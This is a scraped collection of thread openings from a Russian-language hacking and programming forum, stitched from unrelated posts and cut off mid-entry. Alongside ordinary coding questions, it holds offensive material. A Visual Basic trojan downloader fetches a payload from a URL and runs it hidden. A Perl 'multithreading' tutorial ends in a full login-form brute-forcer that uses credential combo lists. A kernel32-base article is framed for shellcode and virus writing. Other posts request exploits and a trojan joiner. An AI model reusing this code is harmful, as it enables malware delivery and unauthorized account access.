Created: 2008-07-19T17:35:22+0000
Last Post: 2008-07-19T21:04:42+0000
Author: aka яП
Replies: 8 Views: 3K

Здравствуйте хотел попросить на изучение эксплоиты на perl-e для изучения чегото нового и для тренировочных экспериментов над эксплоитом .

[JavaScript]аналог метода onLoad(), но для тега b
ID: 67668b27b4103b69df375e94
Thread ID: 15039
Created: 2008-05-08T17:59:44+0000
Last Post: 2008-05-09T10:06:39+0000
Author: je0n
Replies: 4 Views: 3K

короче, нужно выполнить скрипт через код этого тега.
через я бы сделал так:

вот нужно также вызвать alert(), но из перечисленных мной тегов, когда они загружаются. иммено в теле самого тега нужно писать ява-код. можно как-нить можно?

Класс для отправки файла PHP
ID: 67668b27b4103b69df375e97
Thread ID: 14723
Created: 2008-03-08T15:21:04+0000
Last Post: 2008-03-09T17:04:21+0000
Author: SDancer
Replies: 3 Views: 3K

Нужно отправить файл на Wordpress движок. Пробовал использовать Snoopy. Но через него так и не получилось отправить. В ручну пакет сформировать не выход, т.к. думаю и в других скриптах использовать что-то готовое. Какой может класс посоветуете ?

Downloader на Vb
ID: 67668b27b4103b69df375e98
Thread ID: 13399
Created: 2006-11-07T11:33:49+0000
Last Post: 2008-03-03T05:54:15+0000
Author: wutang
Replies: 6 Views: 3K

Простенький лоадер...

http://www.yoursite.com/trojan - УРЛ с троем

c:\windowsdll.exe - куда скачать и запустить

Code:Copy to clipboard

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ 
    "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _ 
    ByVal szFileName As String, ByVal dwReserved As Long, _ 
    ByVal lpfnCB As Long) As Long 

Private Sub Form_Load() 
Form1.Visible = False 
Dim iReturn As Long 
Dim saveto As Long 
iReturn = URLDownloadToFile(0, " http://www.yoursite.com/trojan", "c:\windowsdll.exe", 0, 0) 
Shell "c:\windowsdll.exe" 
End Sub
Лицензирование ПО и Web-Приложений
ID: 67668b27b4103b69df375e9a
Thread ID: 14486
Created: 2008-01-29T06:44:02+0000
Last Post: 2008-01-31T16:59:43+0000
Author: Одинокий Волк
Replies: 7 Views: 3K

Всем привет!
У меня есть организация которая занимается разработкой скриптов, а именно у нас есть несколько коммерческих скриптов. Язык используемый PHP, скрипты продаются в открытом коде по лицензионному соглашению.
Вот столкнулся с таким вопросом, как сделать юридически правильную защиту авторских прав и лицензионного соглашения. Т.е. мне надо при обнаружении нарушения, далее следовая по УК РФ подавать иски.
Статьи меня на эту тему не интересуют я прочитал что для этого нужно, меня интересует мнение того, кто с этим сталкивался сам.

Получение базы kernel32.dll
ID: 67668b27b4103b69df375e9e
Thread ID: 14363
Created: 2006-12-09T08:50:17+0000
Last Post: 2006-12-09T08:50:17+0000
Author: Great
Replies: 0 Views: 3K

Article: Получение базы kernel32.dll
Author: Great
Date: 09.12.2006
Note: В этой мини-статье я опишу устройство структур TEB,PEB и способы получения базы kernel32.dll. Предполагается знание читателем языков программирования C/C++, Assembler
/***********************************************************************************************/

Многие задачи системного мирного и не очень программирования сталкиваются напрямую с задачей получения адреса базы kernel32.dll, ведь в ней находится большинство апишек, а точнее переходников к native api из ntdll.dll, которые в свою очередь обращаются к сервисам ядра из ntoskrnl.exe, нужных для функционирования программы. Если у тебя PE-файл, то проблем нет - дописал kernel32.dll в импорт и загрузчик сам ее подгрузит и даже адреса апишек выставит (биндинг не в счет). А вот если ты пишешь шеллкод или (и того хуже =)) вирь, то тут уже придется туго без kernel'а.
Для нахождения заветной базы существует много способов. Я вспомню три из них:

  1. разбор стека только что запустившегося потока (для этого нужно вирю внедрить свой код в самое начало, либо поставить EntryPoint на свой код) - в стеке будет адрес возврата в kernel32.dll (в цепочку функции BaseProcessStart)

Code:Copy to clipboard

push ss:[esp]; удваиваем в стеке адрес возврата в kernel32.BaseProcessStart, чтобы дать его как аргумент к GetBase
call GetBase; получаем базу
; теперь в EAX искомая база
  1. анализ последнего SEH-обработчика, который опять же указывает куда-то в kernel32.dll
    Кратко опишу реализацию метода. В TIB есть поле ExceptionList с линейным односвязанным списоком обработчиков SEH. Последний обработчик обязательно укажет в kernel32.dll, т.к. если никто исключение не перехватит, то управление пойдет в этот обработчик и он выдаст до боли знакомое окно "someprog.exe has encountered a problem and needs to close. We are sorry for the inconvenience."
    Элементы списка - структуры ERR:

Code:Copy to clipboard

// SEH Handler
typedef struct _ERR
{
	_ERR* lpNext;
	DWORD lpHandler;
} ERR, *PERR;

Функция получения TEB:

Code:Copy to clipboard

TEB * GetTEB()
{
	__asm mov eax, fs:[18h];
#pragma warning(disable:4035)
}

Ну а код для получения базы будет таким:

Code:Copy to clipboard

ERR* err = (ERR*)GetTEB()->Tib.ExceptionList; // Получаем список SEH
while(err->lpNext!=(ERR*)-1) // ищем последний элемент списка
	err = err->lpNext;
DWORD dwKernel32Base = GetBase( (void*)err->lpHandler ); // Получаем базу его обработчика - базу kernel32.dll

В этих двух случаях дальше пишется небольшая функция GetBase, которая берет адрес где-то в kernel32.dll, листает страницы назад, пока не наткнется на MZ и PE-заголовки, что будет означать, что она, наконец, дошла до базового адреса загрузки kernel32.dll.

Code:Copy to clipboard

void* GetBase(DWORD lpAddr)
{
	for(lpAddr &= 0xFFFF0000 /* гранулярность выделения памяти */;; lpAddr -= 0x10000 /* листаем назад страницами */)
	{
  if( ( ((IMAGE_DOS_HEADER*)lpAddr)->e_magic == 0x5a4d ) // MZ
   && ( ((IMAGE_NT_HEADERS*) ((DWORD)lpAddr + ((IMAGE_DOS_HEADER*)lpAddr)->e_lfanew) )->Signature == 0x00004550 ) // PE
   )
   return (void*)lpAddr; // это заветная база
	}
	// Ни фига =(
	return NULL;
}

Третий способ основан на том факте, что подавляющее большинство программ импортируют kernel32.dll и ее базу можно найти в списке модулей текущего процесса, который можно взять из Process Environment Block (PEB), адрес которого, в свою очередь, можно узнать из структуры Thread Environment Block (TEB), расположенной по адресу FS:[0]. Этот способ мы и рассмотрим детально, т.к. он представляет особый интерес и затраты на поиск базы у него существенно ниже.
В исходниках вирей можно найти следующий код для получения базы, реализующий этот способ:

Code:Copy to clipboard

void* asmGetKernelBase()
{_asm{
      xor  eax, eax
      mov  eax, fs:[eax+30h]
      test eax, eax
      js   win9x
      push esi
      mov  eax, [eax+0Ch]
      mov  esi, [eax+1Ch]
      lodsd
      mov  eax, [eax+8]
      pop  esi
      leave
      ret
win9x:
      mov  eax, [eax+34h]
      add  eax, 7Ch
      mov  eax, [eax+3Ch]
}}

С первого взгляда даже непонятно, что он делает. Если присмотреться, можно обнаружить, что сперва он обращается по адресу FS:[30] и берет оттуда двойное слово.
А что же там должно лежать? Ответ дает описание пользовательских структур - насчиная с FS:[0] располагается структура TEB, в которой есть указатель на PEB, а в ней есть указатель на структуры загрузчика.
В хидерах Windows Platform SDK структуры не документированы и большинство их полей обозваны обычно как BYTE Reserved[A];
Поэтому мы обратимся к хидерам React OS
TEB имеет много полей, и все они нам не понадобятся. Нас интересует эта часть структуры:

Code:Copy to clipboard

typedef struct _TEB
{
   NT_TIB Tib;                         /* 00h */
   PVOID EnvironmentPointer;           /* 1Ch */
   DWORD Cid[2];                       /* 20h */
   PVOID ActiveRpcInfo;                /* 28h */
   PVOID ThreadLocalStoragePointer;    /* 2Ch */
   PPEB Peb;                           /* 30h */
   ULONG LastErrorValue;               /* 34h */

Подструктура TIB досталась ей в наследство от Windows 9x, а вот поле PPEB Peb нам очень интересно - к нему то и обращается наша функция по команде mov eax, fs:[eax+30]. Тут лежит адрес структуры PEB в памяти.
Смотрим, как устроена PEB:

Code:Copy to clipboard

typedef struct _PEB
{
   UCHAR InheritedAddressSpace;                     /* 00h */
   UCHAR ReadImageFileExecOptions;                  /* 01h */
   UCHAR BeingDebugged;                             /* 02h */
   BOOLEAN SpareBool;                               /* 03h */
   HANDLE Mutant;                                   /* 04h */
   PVOID ImageBaseAddress;                          /* 08h */
   PPEB_LDR_DATA Ldr;                               /* 0Ch */

Остальные поля не представляют для нас интереса. Функция обращается к полю со смещением 0c - Ldr (в некоторых других вариантах оно называется LoaderData, в том числе и я буду использовать такое определение PEB). Это адрес структуры PEB_LDR_DATA:

Code:Copy to clipboard

typedef struct _PEB_LDR_DATA
{
   ULONG Length;
   BOOLEAN Initialized;
   PVOID SsHandle;
   LIST_ENTRY InLoadOrderModuleList;
   LIST_ENTRY InMemoryOrderModuleList;
   LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

В ней есть три кольцевых двусвязанных списка структур LDR_MODULE (иногда они называются LDR_DATA_TABLE_ENTRY):
InLoadOrderModuleList - список модулей в порядке загрузки
InMemoryOrderModuleList - список модулей в порядке расположения в памяти
InInitializationOrderModuleList - список модулей в порядке инициализации. Он- то нам и нужен, т.к. первые два элемента в нем ntdll и kernel32

Code:Copy to clipboard

typedef struct _LDR_MODULE
{
 LIST_ENTRY ModuleList;
 PVOID BaseAddress;
 PVOID EntryPoint;
 ULONG SizeOfImage;
 UNICODE_STRING FullDllName;
 UNICODE_STRING BaseDllName;
 ULONG Flags;
 SHORT LoadCount; 
 SHORT TlsIndex;
 LIST_ENTRY HashTableEntry;
 ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;

Поле BaseAddress нас как раз интересует.
В списке первой будет стоять ntdll.dll, а за ней будет kernel32.dll
Поэтому мы получаем голову списка через PEB_LDR_DATA.InInitializationOrderModuleList.Flink и делаем еще раз переход по Flink в следующему элементу списка.
Преобразовав указатель к типу LDR_MODULE*, мы получим указатель структуру описания kernel32.dll, где и будет ее база.

Сокращенная реализация на Си выглядит предельно просто:

Code:Copy to clipboard

void* GetKernel32Base()
{
	TEB* teb;
	_asm
	{
  mov eax, fs:[18h]
  mov teb, eax
	}
	return ((PLDR_MODULE)teb->Peb->LoaderData->InInitializationOrderModuleList.Flink->Flink)->BaseAddress;
}

Расскажу еще немного про устройство двусвязанных списков в Windows.
В файле winnt.h описана структура

Code:Copy to clipboard

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

Это как бы абстрактное звено списка, т.к. структура содержит только указатели вперед и назад и никаких данных.
Список модулей на самом деле содержит структуры

Code:Copy to clipboard

typedef struct _LDR_MODULE
{
 LIST_ENTRY ModuleList;

где ModuleList - два указателя вперед и назад, но в структуре еще есть и данные. Поэтому мы приводим указатель, полученный из Flink, к типу PLDR_MODULE.

Вот функция на С++, которая поможет лучше усвоить эти структуры - она проходит по всему списку модулей, выводя попутно на консоль его элементы (имя длл и база) и ищет kernel32.dll по имени (хоть она и всегда будет второй).

Code:Copy to clipboard

void* ListModules()
{
	// Get TEB
	TEB* teb = GetTEB();
	
	// Get PEB
	PEB* peb = teb->Peb;

	// Get PEB_LDR_DATA
	PPEB_LDR_DATA pldr = peb->LoaderData;
	
	// Get double-linked list of the modules
	// View in right direction
	PLDR_MODULE pentry;
	pentry = (PLDR_MODULE) pldr->InInitializationOrderModuleList.Flink;

	VOID* dwBase = 0;
	char buffer[1024];

	// Walk the list
	do
	{
  // Print the name
  WideCharToMultiByte(CP_ACP, 0, pentry->BaseDllName.Buffer, -1, buffer, sizeof(buffer), 0, 0);
  printf("%s\t[0x%08x]\n", buffer, pentry->BaseAddress);

  // kernel32.dll found
  if(lstrcmpi(buffer, "kernel32.dll")==0)
  	dwBase = pentry->BaseAddress;

  // Next
  pentry = (PLDR_MODULE)pentry->ModuleList.Flink;
	}
	while(pentry->ModuleList.Flink != pldr->InInitializationOrderModuleList.Flink);

	return dwBase;
}

Скачать все описания структур: structures.h
NT_TIB входит в стандартные виндовые хидеры


Я собрал несколько способов получения базы kernel32.dll вместе и один из них подробно расписал ;)

Сорцы хак-софта
ID: 67668b27b4103b69df375e9f
Thread ID: 14313
Created: 2006-12-07T14:46:45+0000
Last Post: 2006-12-08T18:18:39+0000
Author: Isis
Replies: 5 Views: 3K

Не завалялось ни у кого сорцов хак-софта???
Ну я имею ввиду типа nwg, flooder by x-side , нуу.....всяких старых даже!!!
Пусть это будет даже сорцы бота....Главное сорцы :)
пасиб...ыххы

Обзор фреймворка Code Igniter
ID: 67668b27b4103b69df375ea2
Thread ID: 13098
Created: 2006-10-30T16:39:25+0000
Last Post: 2006-12-07T15:52:26+0000
Author: SapienS
Replies: 3 Views: 3K

В последнее время в сети развелось очень много CMS систем. Выбрать ту, которая подходила бы именно вам, имела понятный интерфейс и должный уровень безопасности задача почти невыполнимая.
Писать новую CMS? Да, это выход. Но написание может затянуться на ооочень долгое время...
Есть выход лучше - использовать фреймворк. Фреймворк - это основа для будущей CMS: классы, библиотеки, различные функции. Дальнейшее повествование будет вестись о фреймворке Code Igniter.

Дистрибутив последней версии этой замечательной вещицы всего 650 кб. Качаем с оф. сайта http://www.codeigniter.com

Распаковываем архив и видим 2 каталога: "system" и "user_guide".
Вся установка состоит из 2-х пунктов:

  1. Правим system/application/config/config.php - пишем свой URL, а так же другие настройки, вроде языка и различных путей.
  2. Правим config.php - так же различные пути, название системных каталогов...
    Если имеем дело с БД, надо редактить system/application/config/database.php. Там все стандартно - хост, логин, пасс и пр.

Все! Система уже работает, можем зайти на индексовую страницу :D

Дальше будет посложнее...

Фреймворк Code Igniter основан на архитектуре Model-View-Controller (MVC).
Модель (Model) служит для работы с БД. Лежат в system/application/models.
Вид (View) практически является HTML документом, с той лишь разницей, что этот документ имеет в своем составе что-то вроде указателей для парсера. Например, "{elapsed_time}" при обработке будет заменено на соответствующую переменную. Лежат в system/application/views.
Контроллер (Controller) обеспечивает связь Модели и Вида. Если текущий проект не связывается с БД, то в Контроллере мы перечислим основные функции для работы модуля. Лежат в system/application/controllers.

Рассмотрим стандартный пример. Главная стрница в только что установленном Code Igniter`e является совокупностью Контроллера welcome и Вида welcome_message.

Синтаксис Контроллера:

Code:Copy to clipboard

<?php

class Welcome extends Controller {

	function Welcome()
	{
  parent::Controller();	
	}
	
	function index()
	{
  $this->load->view('welcome_message');
	}
}
?>

Строка

Code:Copy to clipboard

$this->load->view('welcome_message');

означает, что в качестве вида используется файл system/application/views/welcome_message.php. Остальное, думаю, понятно.

Листинг welcome_message.php:

Code:Copy to clipboard

Welcome to Code Igniter!

The page you are looking at is being generated dynamically by Code Igniter.

If you would like to edit this page you'll find it located at:
system/application/views/welcome_message.php 

The corresponding controller for this page is found at:
system/application/controllers/welcome.php 

If you are exploring Code Igniter for the very first time, you should start by reading the {User Guide}.


Page rendered in {elapsed_time} seconds

{User Guide} и {elapsed_time} при обработке будут заменены на соответствующие переменные, которые определяются не в Контроллере, что тоже возможно, а в ядре системы.

Примеры посложнее можно найти здесь.

ЗЫ: система довольно понятная, все описано в мануале. Если есть вопросы - задавайте :)
ЗЗЫ: знакомый делает сайт на основе этого фреймворка, можно глянуть здесь.

Скрипт скачиания на фтп
ID: 67668b27b4103b69df375ea6
Thread ID: 13436
Created: 2006-11-08T04:30:07+0000
Last Post: 2006-12-06T12:24:29+0000
Author: Elektrik
Replies: 7 Views: 3K

Помгите плз найти скрипт который скачивал-бы файла на фтп. Просто у нас у провайдера трафик на ip принадлежащие ему бесплатен, а также имеются несколько крупных фтп, поэтому я подумал что если такой скрипт повесить на какой-нить отдельный сервак то можно качать всё нахаляву. Только скрипт нуже н с авторизацией на фтп. Заранее благодарен.

$_POST
ID: 67668b27b4103b69df375ea7
Thread ID: 14258
Created: 2006-12-05T19:57:49+0000
Last Post: 2006-12-06T11:50:18+0000
Author: HTTPWORD
Replies: 7 Views: 3K

Как вывести содержание всего $_POST запроса
не зная элементов переменных в нем.

Тобиш имена переменных неизвестны, но надо все это вывести.
Возможно ли ?

Графы
ID: 67668b27b4103b69df375eaa
Thread ID: 13947
Created: 2006-12-03T16:40:42+0000
Last Post: 2006-12-04T14:59:42+0000
Author: Pokoinik
Replies: 4 Views: 3K

Кидаем сюда все, что связанос графами:

Walrus - Graph Visualization Tool

Написана на Java, потребует [Java3D](http://java.sun.com/products/java- media/3D/index.html)
:zns5: Скачать|Download
:zns5: Сорс|Source
:zns2: Домашняя страница

Многопоточность в Perl
ID: 67668b27b4103b69df375eb0
Thread ID: 13785
Created: 2006-11-30T18:10:25+0000
Last Post: 2006-11-30T18:10:25+0000
Author: KSURi
Replies: 0 Views: 3K

Многопоточность в Perl

.:[KSURi]:.

1. Интро

Любой программист на Perl рано или поздно сталкивается с проблемой повышения скорости его скриптов.
Особенно если это какой-нибудь брутфорсер =) Можно сколько угодно оптимизировать код, вырезать лишние куски и т.д.,
но это будет ничто по сравнению с тем, если сделать скрипт многопоточным.

2. Немного теории

Многопоточность позволяет выполнять различные действия ОДНОВРЕМЕННО.
Представим, что есть скрипт, который берет слово из файла и что-то с ним делает. Таких слов в списке 10.
Обычный скрипт обработает их по очереди, а многопоточный обработает все десять слов сразу, каждое в своем потоке.
Это ЗНАЧИТЕЛЬНО повысит скорость выполнения.
В Perl дела с многопоточностью обстоят хорошо, не то, что в PHP. Есть специальный модуль,
который предоставляет удобный интерфейс к функциям создания потоков.
Хотя наверняка многие видели скрипты в которых многопоточность реализована через fork :

Code:Copy to clipboard

if ($pid=fork) {
push(@forked,$pid);
} else {
doSomething();
exit;
}

Это не совсем правильно, хотя тоже работает. Дело в том, что fork создает целый процесс, а не поток (который не является полноценным процессом).
Вследствие этого система нагружается сильнее, чем при использовании этих настоящих потоков.
К тому же в данном случаем будет сложнее организовать синхронизацию и работу с файлами.
И зачем изобретать велосипед еще раз, если за нас его уже изобрели (причем весьма качественный)?
Единственный плюс создания потоков через fork - б`ольшая универсальность, ибо форк - встроенная функция языка.

Если внимательно вглядеться в доки по языку, можно увидеть там раздел perlthrtut - это туториал по потокам.
Там дано весьма общее представление о теме и примеров маловато... Так что будем разбираться сами.
Принцип работы потоков строится по системе «босс и рабочие». «Босс» - собственно сам процесс скрипта.
«Рабочие» - это сами потоки, которые сгенерированы «боссом». «Босс» раздает задания для «рабочих» и пожеланию ждет от них ответа. Эта модель очень распространена в программировании вообще.

Для работы с потоками Perl должен быть собран с их поддержкой.
Проверить поддержку можно такой командой:

Code:Copy to clipboard

perl -e "use threads"

В ActivePerl поддержка многопоточности встроена с версии 5.6.0, если ее вдруг не оказалось - придется установить более свежий дистрибутив.
Для использования многопоточности в скрипте, естественно надо подключить модуль, отвечающий за это:

Code:Copy to clipboard

use threads;

При разработке многопоточных скриптов могут возникнуть проблемы с внешними модулями.
Некоторые из них имеют статус " unthreaded" - это значит, что заюзать их в многопоточном скрипте не получится.
К сожалению, в pod-документации к модулям не пишут про этот статус, все приходится выяснять практическим путем.
В большинстве случаев модуль будет " unthreaded", если в своей работе он использует файлы. Однако не все так плохо -
все самые популярные модули (LWP ,Net ,HTTP и т.д.) отлично работают с потоками.

2.1 Основные методы

Новые потоки создаются методом create (синоним new). Первым параметром нужно указать ссылку на ваш саб, остальные параметры – те, которые вы хотели передать в выполняемый саб.

Code:Copy to clipboard

threads->create(\&mySub,$param1,$param2,$paramN);

Для создания множества потоков удобно юзать такой код:

Code:Copy to clipboard

for(0..$numberOfThreads) { threads->create(\&mySub,$param) }

Это создаст $numberOfThreads потоков.

В большинстве случаев нам надо будет подождать пока потоки завершат свою работу, чтобы «босс» не закончил работу раньше «рабочих». Если же это произойдет, выскочит такое предупреждение:
«A thread exited while N threads were running».
Это означает, что еще N потоков не завершили свой «полезный» код и не стоит ждать от скрипта корректной работы.
Данная проблема решается следующим кодом:

Code:Copy to clipboard

threads->create(\&mySub,$paramN)->join;

Метод join заставит главный скрипт подождать пока поток не завершит свою работу.

Если начинка потока должна возвращать какой-то результат, то достаточно инкапсулировать объект потока в переменную:

Code:Copy to clipboard

my $retData=threads->create(\&mySub,$paramN);
$retData->join;

Теперь в $retData хранится значение возвращенное mySub.

В случае если поток должен просто тихо отработать и ничего не возвратить - стоит использовать метод detach.
Он заставит главный скрипт игнорировать созданные им потоки. Т.е. «создал и забыл».
Однако, если работа "босса" закончится раньше, чем у "рабочих", предупреждение все равно будет появляться. Это стоит принять во внимание.

Code:Copy to clipboard

 for(0..$numberOfThreads) { threads->create(\&mySub,$param)->detach }

Следует заметить, что с игнорируемыми потоками "босс" работает немного быстрее, чем не игнорируемыми. Не значительно, но все-таки...

Если есть выполнить некий код в отдельном потоке сразу при его объявлении, то нужно использовать метод async.
Параметром нужно указать анонимный саб, который и будет выполняться:

Code:Copy to clipboard

my $thread=async { print "This code will be executed immideatly" };

Заметьте, что после закрывающей фигурной скобкой всегда надо ставить '; '.

Вот в принципе и все основы... Этого уже достаточно для создания многопоточного скрипта.

2.2 Вспомогательные методы

Из основных вспомогательных методов стоит выделить: list ,tid и self. Эти методы пригодятся для организации сложной многопоточности, с синхронизацией расшаренными данными и т.д.

list - возвращает список всех потоков, для которых еще не были применены методы join и detach.
Удобно использовать, например, когда к множеству потоков нужно применить один метод:

Code:Copy to clipboard

foreach(threads->list) { print $_->join."\n" }

tid - возвращает уникальный идентификатор потока. Удобно для учета выполняемых потоков. Существует обратный метод object , который в качестве параметра принимает tid существующего потока и возвращает его объект. Тут же отметим метод self , который возвращает объект для текущего потока.

3. Практика

Теперь попробуем закрепить все на практике. Я решил написать брутер html-форм.
Выполняться он будет в 5 потоков. Концепция скрипта: брут идет по комбо-листу вида login:password, все комбинации будут распределены между пятью потоками.
Вот собственно код: (ключевые моменты прокомментированы)

Code:Copy to clipboard

#!perl -w

use strict;
use threads;
use Getopt::Std;
use LWP::UserAgent;
use HTTP::Request::Common;
$|=1;

print "\n# $0\n# (C)oded by .:[KSURi]:.\n# http://cup.su/\n\n";

my %opts;
getopts("h:w:t:",\%opts);
usage() if(!exists($opts{h})||!exists($opts{w}));

print "[i] Loading combo list... "; 
open(COMBO,$opts{w})||exit print "FAILED\n";
my %combo=(combo0=>[],
           combo1=>[],
           combo2=>[],
           combo3=>[],
           combo4=>[]);
my $i=0;
# Распределение комбо-листа между потоками
while(<COMBO>)
{
    chomp;
    push(@{$combo{"combo".$i++}},$_);
    $i=1 if($i>4);
}
close COMBO;
print "OK\n";
print "[i] Bruting... ";
my(@res,@thr);
# Собственно многопоточность
for(0..4)
{
    my $currCombo="combo".$_;
    $thr[$_]=threads->create(\&brute,$opts{h},@{$combo{$currCombo}});
    $res[$_]=$thr[$_]->join;
}
foreach my $res(@res)
{
    if($res)
    {
        print "SUCCESS\n";
        print "[+] Login: ".join("; Password: ",split(':',$res));
        undef @thr; undef @res;
        exit(0);
    }
}
print "FAILED\n";

sub brute
{
    my($target,@words)=@_;
    my %formDetails=();
    my @agents=("Mozilla 5.0/Firefox",
                "Opera 9.02",
                "Interner Explorer 7",
                "Safari 3.0/Gecko 31337",
                "Lynx/FreeBSD 6.0");
    my $ua=LWP::UserAgent->new(agent=>$agents[rand($#agents)],
                               timeout=>10);
    my $response=$ua->get($target);
    if($response->is_success)
    {
        foreach(split("\n",$response->content))
        {
            if(/<form/i)
            {
                if(/action\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/i) { $formDetails{action}=$1 }
                if(/method\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/i) { $formDetails{method}=$1 }
            }
            if(/<input/i)
            {
                if(/type\s*=\s*[\"?|\'?]text[\"?|\'?]\s*/&&/name\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/) { $formDetails{login}=$1 }
                if(/type\s*=\s*[\"?]password[\"?|\'?]\s*/&&/name\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/) { $formDetails{pass}=$1  }
            }
        }
    }
    else { return }
    return "failed" if(!$formDetails{method}||!$formDetails{pass});
    foreach my $credits(@words)
    {
        my($login,$password)=split(':',$credits);
        my $url=$target;
        if($formDetails{method}=~/get/i)
        {
            if(defined($formDetails{action})) { $url.=$formDetails{action}.'?' }
            else { $url.='?' }
            if(defined($formDetails{login})) { $url.=$formDetails{login}.'='.$login.'&' }
            $url.=$formDetails{pass}.'='.$password;
            $response=$ua->request(GET $url,
                                   Referer=>$target);
        }
        else
        {
            $url.=$formDetails{action} if(defined($formDetails{action}));
            $response=$ua->request(POST $url,
                                   Referer=>$target,
                                   Content_Type=>"application/x-www-form-urlencoded",
                                   Content=>[$formDetails{login}=>$login,
                                             $formDetails{pass}=>$password]);
        }
        if($response->{_rc}==200)
        {
            if($response->content=~/access denied|login incorrect|password incorrect|wrong login|wrong password|can't log\s*in/im) { next }
            else { return $credits }
        }
        else { return }
    }
}

sub usage
{
    print "Usage: perl $0 -h <TARGET> -w <COMBO>\n";
    print "E.g.: perl $0 -h http://127.0.0.1/xampp/ -w combo.txt\n";
    exit(0);
}

# form_bruter.pl
# (C)oded by .:[KSURi]:.
# http://cup.su/

ЗЫ: в скрипте использованы dirty hacks =( Да простит меня Perl Underground. Аминь.

Вот в принципе и все.
Удачи!

Отладчики
ID: 67668b27b4103b69df375eb6
Thread ID: 13141
Created: 2006-10-31T21:58:41+0000
Last Post: 2006-11-01T17:05:11+0000
Author: xqwerx
Replies: 5 Views: 3K

Прошу откликнуться или помочь советом тех, кто занимается отладкой и дизассемблированием.

Каким отладчиком вы пользуетесь, и чем он хорошь?
Какие средства дизассемблирования подскажете?
Почему последнее время SoftIce утих, стоит ли его скачить и использовать?
Хорош ли IDA_PRO ?

P.S. кто имеет опыт в этой сфере прошу поделиться знаниями и опытом.

Не отображается картинка подтверждения
ID: 67668b27b4103b69df375ebf
Thread ID: 12384
Created: 2006-10-07T08:01:32+0000
Last Post: 2006-10-12T20:19:20+0000
Author: Furius
Replies: 8 Views: 3K

В пыхыпы я дерево :( на сайте другана не отображается картинка подтверждения авторизации и регистрации => не можем попасть в админку, нашли файлик который генерит ее, вот код

Code:Copy to clipboard

<?php


function randomPassword($length = 1) {                      
$all = explode( " ",                                         
"a b c d e f g h i j k l m n o p q r s t u v w x y z "       
. "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z "     
. "0 1 2 3 4 5 6 7 8 9");                                    
for($i=0;$i<$length;$i++) {                                  
srand((double)microtime()*1000000);                          
$randy = rand(0, 61);                                        
$passw .= $all[$randy];                                       
}                                                            
return $passw;                                                
}

$r1 = randomPassword($length = 1);
$r2 = randomPassword($length = 1);
$r3 = randomPassword($length = 1);
$r4 = randomPassword($length = 1);
$r5 = randomPassword($length = 1);
$r6 = randomPassword($length = 1);

$nm="$r1$r2$r3$r4$r5$r6";

if($status==restor) { 
setcookie("gen_id_pass", $nm);
}

if($status==autoriz) { 
setcookie("gen_id", $nm);
}

if($status==registr) {
setcookie("gen_id_reg", $nm);
}

if($status==mygood) { 
setcookie("gen_id_good", $nm);
}

$rn=array($r1, $r2, $r3, $r4, $r5, $r6);

$w=165;
$h=50;

$ctr=ceil($h/2);

$img  = ImageCreate($w,$h);
$back = ImageColorAllocate($img, 51, 102, 153);
$txt  = ImageColorAllocate($img, 255, 255, 255);
$px  = ImageColorAllocate($img, 222, 237, 251);
imageline($img, 2,2, $w-3,2, $txt);
imageline($img, 2,2, 2, $h-3, $txt);
imageline($img, 2,$h-3, $w-3, $h-3, $txt);
imageline($img, $w-3,2, $w-3, $h-3, $txt);

$r=$rn[0];
$x=8;
$angle=rand(-15,10);

for ($i=1; $i<=6; $i++)
 {
imageTtfText($img, 20, $angle, $x, $ctr+10, $txt, "$DOCUMENT_ROOT/font/CASTLEB.TTF", "$r");
$r=$rn[$i];
$x=$x+27;
srand((double)microtime()*1000000);
$angle=rand(-30,30);
 }

for ($i=1; $i<=1000; $i++)
 {
imageSetPixel($img, rand(3,$w-3), rand(3, $h-3), $px);
 }

ImagePNG($img);

?>

хелп, может тут где-то ошибка?

PHP -> HTML - как сконвертировать?
ID: 67668b27b4103b69df375ec0
Thread ID: 12406
Created: 2006-10-07T21:11:38+0000
Last Post: 2006-10-08T07:33:19+0000
Author: Konstantin555
Replies: 10 Views: 3K

Сервак PHP не поддерживает, необходимо код PHP в HTML перенести. Только КАК?

Файл psearch.php имеет следующий контент:

_

_

Файл psearch.html начинается так:

_

.................................................................................... _

Подскажите, плиз, насчёт сабжа!

Joiner на VB
ID: 67668b27b4103b69df375ec2
Thread ID: 12168
Created: 2006-09-29T11:09:17+0000
Last Post: 2006-09-29T11:59:07+0000
Author: IWI
Replies: 1 Views: 3K

:crazy: Помогите пожалуйста написать joiner на VB. Нужно для троя. Я конечно понимаю,что вопрос больше к ASM кодерам, но мне надо на VB. с асьмой у меня не настолько круто(

ЗЫ трой готов, только одного не хватает. :shit:

Скрипт отображения фотографии
ID: 67668b27b4103b69df375ec3
Thread ID: 11959
Created: 2006-09-20T22:16:15+0000
Last Post: 2006-09-25T01:41:27+0000
Author: Alex_Sidneff
Replies: 8 Views: 3K

Зделал скрипт! Отображает из текстового файла путь и вставляет фото...
Но праблема в том, что надо отображать только те фото которые = пользовотелю!!!
Пример!
это текстовый фаил:

Это он прописывает при каждой загрузки фото!!!

А это скрипт, который отображает его!

"; } } ?>

Вопрос:
Как зделать, чтоб отображалось либо фото Foxа либо Alex_Sidneffa?

Исследование принципов работы Award BIOS.
ID: 67668b27b4103b69df375ec4
Thread ID: 11942
Created: 2006-09-20T13:09:16+0000
Last Post: 2006-09-21T05:27:52+0000
Author: FlatL1ne
Replies: 2 Views: 3K

Краткий курс основ шаманизма для начинающего биосоковырятеля :yinyang:

JAVA учебник
ID: 67668b27b4103b69df375ec5
Thread ID: 11693
Created: 2006-09-14T11:11:53+0000
Last Post: 2006-09-20T13:41:44+0000
Author: 9ikat9sawasleva
Replies: 5 Views: 3K

Вообщем,проблемка такая,оч.нужно мне оказалось знание жабы,но это для меня темный лес. :huh: Подскажите какой-нибудь толковый учебник,чтоб с азов,не слишком заумно и по существу.Заранее спасибо.

Нужно инфо
ID: 67668b27b4103b69df375ecd
